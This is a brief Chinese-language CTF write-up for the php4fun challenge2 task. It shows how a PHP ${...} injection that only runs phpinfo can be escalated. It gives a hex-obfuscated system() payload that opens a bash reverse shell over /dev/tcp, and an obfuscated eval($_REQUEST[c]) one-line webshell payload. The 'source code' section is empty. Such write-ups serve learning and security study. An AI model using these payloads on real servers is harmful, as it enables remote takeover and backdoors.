[php4fun](challenge2)将只能执行phpinfo的漏洞转换为一句话木马

---

源码 :

---

最开始百思不得其解 , 然后查阅了一些大佬们的 WriteUp
得到如下的 payload :

?str=${phpinfo()}

相关 php 官方文档可以参考 :

http://php.net/manual/zh/language.variables.variable.php

但是仍旧不太明白为什么这样就可以执行代码...
希望有知道的大佬可以教教我

---

本文的重点来了
笔者在根据网上大佬们提供的 Payload 的复现的时候发现
(原版的题目服务器已经挂掉了 , 所以笔者也不知道这个题最终的目标是啥...)
这个题目好像就是只让你执行一下 phpinfo 就行了
那么可不可以再猥琐一点执行一点别的呢
尝试一下直接这样行不行 :

?str={eval($_GET[c])}&c=phpinfo();
// 似乎并不行...

经过一番尝试 , 笔者最终发现了下面两种 Payload

// 一个反弹 shell 的 Payload
?str=${system(hex2bin(ff0a2f62696e2f62617368202d6320277368202d69203e26202f6465762f7463702f3132372e302e302e312f3434343420303e263127))}

// 一个一句话木马的 Payload
?str=${eval(substr(hex2bin(ff6576616c28245f524551554553545b635d293b),1,19))}&c=phpinfo();

image.png